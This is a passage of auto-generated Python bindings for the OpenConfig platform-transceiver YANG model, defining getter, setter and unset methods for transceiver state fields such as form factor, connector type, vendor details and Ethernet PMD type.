to populate this variable should do so via calling thisObj._set_form_factor() directly. YANG Description: Indicates the type of optical transceiver used on this port. If the client port is built into the device and not pluggable, then non-pluggable is the corresponding state. If a device port supports multiple form factors (e.g. QSFP28 and QSFP+, then the value of the transceiver installed shall be reported. If no transceiver is present, then the value of the highest rate form factor shall be reported (QSFP28, for example). """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """form_factor must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__form_factor = t if hasattr(self, '_set'): self._set() def _unset_form_factor(self): self.__form_factor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP2_ACO': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CFP4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:QSFP28': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:CPAK': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SFP_PLUS': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:XFP': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:X2': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:NON_PLUGGABLE': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:OTHER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="form-factor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_connector_type(self): """ Getter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) YANG Description: Connector type used on this port """ return self.__connector_type def _set_connector_type(self, v, load=False): """ Setter method for connector_type, mapped from YANG variable /components/component/transceiver/state/connector_type (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_connector_type is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_connector_type() directly. YANG Description: Connector type used on this port """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """connector_type must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False)""", }) self.__connector_type = t if hasattr(self, '_set'): self._set() def _unset_connector_type(self): self.__connector_type = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:SC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:LC_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:MPO_CONNECTOR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="connector-type", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) def _get_vendor(self): """ Getter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor def _set_vendor(self, v, load=False): """ Setter method for vendor, mapped from YANG variable /components/component/transceiver/state/vendor (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor() directly. YANG Description: Full name of transceiver vendor. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor = t if hasattr(self, '_set'): self._set() def _unset_vendor(self): self.__vendor = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_part(self): """ Getter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ return self.__vendor_part def _set_vendor_part(self, v, load=False): """ Setter method for vendor_part, mapped from YANG variable /components/component/transceiver/state/vendor_part (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_part is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_part() directly. YANG Description: Transceiver vendor's part number. 16-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h). If part number is undefined, all 16 octets = 0h """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_part must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_part = t if hasattr(self, '_set'): self._set() def _unset_vendor_part(self): self.__vendor_part = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..16']}), is_leaf=True, yang_name="vendor-part", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_vendor_rev(self): """ Getter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ return self.__vendor_rev def _set_vendor_rev(self, v, load=False): """ Setter method for vendor_rev, mapped from YANG variable /components/component/transceiver/state/vendor_rev (string) If this variable is read-only (config: false) in the source YANG file, then _set_vendor_rev is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_vendor_rev() directly. YANG Description: Transceiver vendor's revision number. 2-octet field that contains ASCII characters, left-aligned and padded on the right with ASCII spaces (20h) """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """vendor_rev must be of a type compatible with string""", 'defined-type': "string", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False)""", }) self.__vendor_rev = t if hasattr(self, '_set'): self._set() def _unset_vendor_rev(self): self.__vendor_rev = YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_dict={'length': ['1..2']}), is_leaf=True, yang_name="vendor-rev", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='string', is_config=False) def _get_ethernet_pmd(self): """ Getter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ return self.__ethernet_pmd def _set_ethernet_pmd(self, v, load=False): """ Setter method for ethernet_pmd, mapped from YANG variable /components/component/transceiver/state/ethernet_pmd (identityref) If this variable is read-only (config: false) in the source YANG file, then _set_ethernet_pmd is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_ethernet_pmd() directly. YANG Description: Ethernet PMD (physical medium dependent sublayer) that the transceiver supports. The SFF/QSFP MSAs have registers for this and CFP MSA has similar. """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_4X10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_AOC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100G_ACC': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR10': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CWDM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CLR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_PSM4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_100GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_UNDEFINED': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}},), is_leaf=True, yang_name="ethernet-pmd", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/platform/transceiver', defining_module='openconfig-platform-transceiver', yang_type='identityref', is_config=False) except (TypeError, ValueError): raise ValueError({ 'error-string': """ethernet_pmd must be of a type compatible with identityref""", 'defined-type': "openconfig-platform-transceiver:identityref", 'generated-type': """YANGDynClass(base=RestrictedClassType(base_type=six.text_type, restriction_type="dict_key", restriction_arg={'ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LRM': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_LR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ZR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_ER': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_10GBASE_SR': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_CR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_SR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_LR4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'ETH_40GBASE_ER4': {'@module': 'openconfig-transport-types', '@namespace': 'http://openconfig.net/yang/transport-types'}, 'oc-opt-types:ETH_40GBASE_ER4': {'@module': 